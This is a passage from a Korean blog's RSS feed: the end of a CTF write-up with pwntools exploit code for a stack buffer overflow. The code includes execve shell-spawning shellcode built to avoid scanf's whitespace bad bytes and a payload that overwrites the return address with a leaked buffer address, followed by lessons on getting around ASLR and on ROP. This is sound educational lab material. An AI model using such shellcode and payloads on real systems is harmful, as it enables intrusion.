    mov    ebx, esp        ; ebx = &quot;/bin//sh&quot;
    xor    ecx, ecx        ; argv = NULL
    xor    edx, edx        ; envp = NULL
    xor    eax, eax
    mov    al, 0x10        ; 16
    sub    al, 0x5         ; 16-5 = 11 (execve)
    int    0x80
&quot;&quot;&quot;
shellcode = asm(asm_code)

# 3) 페이로드 조립
payload  = shellcode
payload += b&quot;\x90&quot; * (0x80 - len(shellcode))   # NOP으로 buf 0x80 채움
payload += b&quot;BBBB&quot;                             # SFP
payload += p32(buf)                            # RET &amp;larr; buf 주소

p.sendline(payload)

# 4) 셸 뜨면 명령 직접 전송 (interactive 타이밍 문제 회피)
p.sendline(b&quot;ls&quot;)
p.sendline(b&quot;cat flag&quot;)
p.sendline(b&quot;echo ===END===&quot;)
print(p.recvuntil(b&quot;===END===&quot;, timeout=5).decode(errors=&quot;replace&quot;))
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실행 결과:&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1183&quot; data-origin-height=&quot;222&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/G64zO/dJMcahLzTuW/sDh5LxcjUa4M0WTrrQoHs1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/G64zO/dJMcahLzTuW/sDh5LxcjUa4M0WTrrQoHs1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/G64zO/dJMcahLzTuW/sDh5LxcjUa4M0WTrrQoHs1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FG64zO%2FdJMcahLzTuW%2FsDh5LxcjUa4M0WTrrQoHs1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1183&quot; height=&quot;222&quot; data-origin-width=&quot;1183&quot; data-origin-height=&quot;222&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;7. 한 줄 요약과 배운 점&lt;/h2&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;scanf는 공백 바이트(0x09,0x0a,0x0b,0x0c,0x0d,0x20)에서 입력을 끊는다.&lt;/b&gt; read와 달리 바이트를 그대로 다 받지 않으므로, 셸코드에 이 바이트가 없어야 한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;syscall 번호 11(0x0b)이 곧 공백 바이트&lt;/b&gt;라서, execve 셸코드를 scanf 환경에 쓸 땐 번호를 산술(mov al,0x10; sub al,0x5)로 만들어 회피해야 한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;bad byte 자동 검사 코드&lt;/b&gt;([hex(b) for b in shellcode if b in (...)])를 페이로드에 끼워두면, &quot;셸코드가 왜 안 도는가&quot;를 추측이 아니라 데이터로 즉시 진단할 수 있다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;printf의 %p 주소 노출 = ASLR 우회 발판.&lt;/b&gt; 주소가 매 실행 바뀌어도 그때그때 받아 쓰면 된다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;p.interactive()가 일찍 닫히면&lt;/b&gt; 명령을 직접 sendline하고 표식(===END===)으로 출력을 잡는다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;다음 단계&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 풀이가 통한 이유는 NX가 꺼져 있었기 때문이다. NX가 켜진 환경에서는 스택의 셸코드가 실행되지 않으므로, 같은 오버플로우를 &lt;b&gt;ROP(Return Oriented Programming)&lt;/b&gt; 로 이어가는 기법을 다음에 학습할 차례다.&lt;/p&gt;</description>
      <category>CTF</category>
      <author>whffu0123</author>
      <guid isPermaLink="true">https://gahyun0123.tistory.com/18</guid>
      <comments>https://gahyun0123.tistory.com/18#entry18comment</comments>
      <pubDate>Wed, 17 Jun 2026 20:21:07 +0900</pubDate>
    </item>
  </channel>
</rss>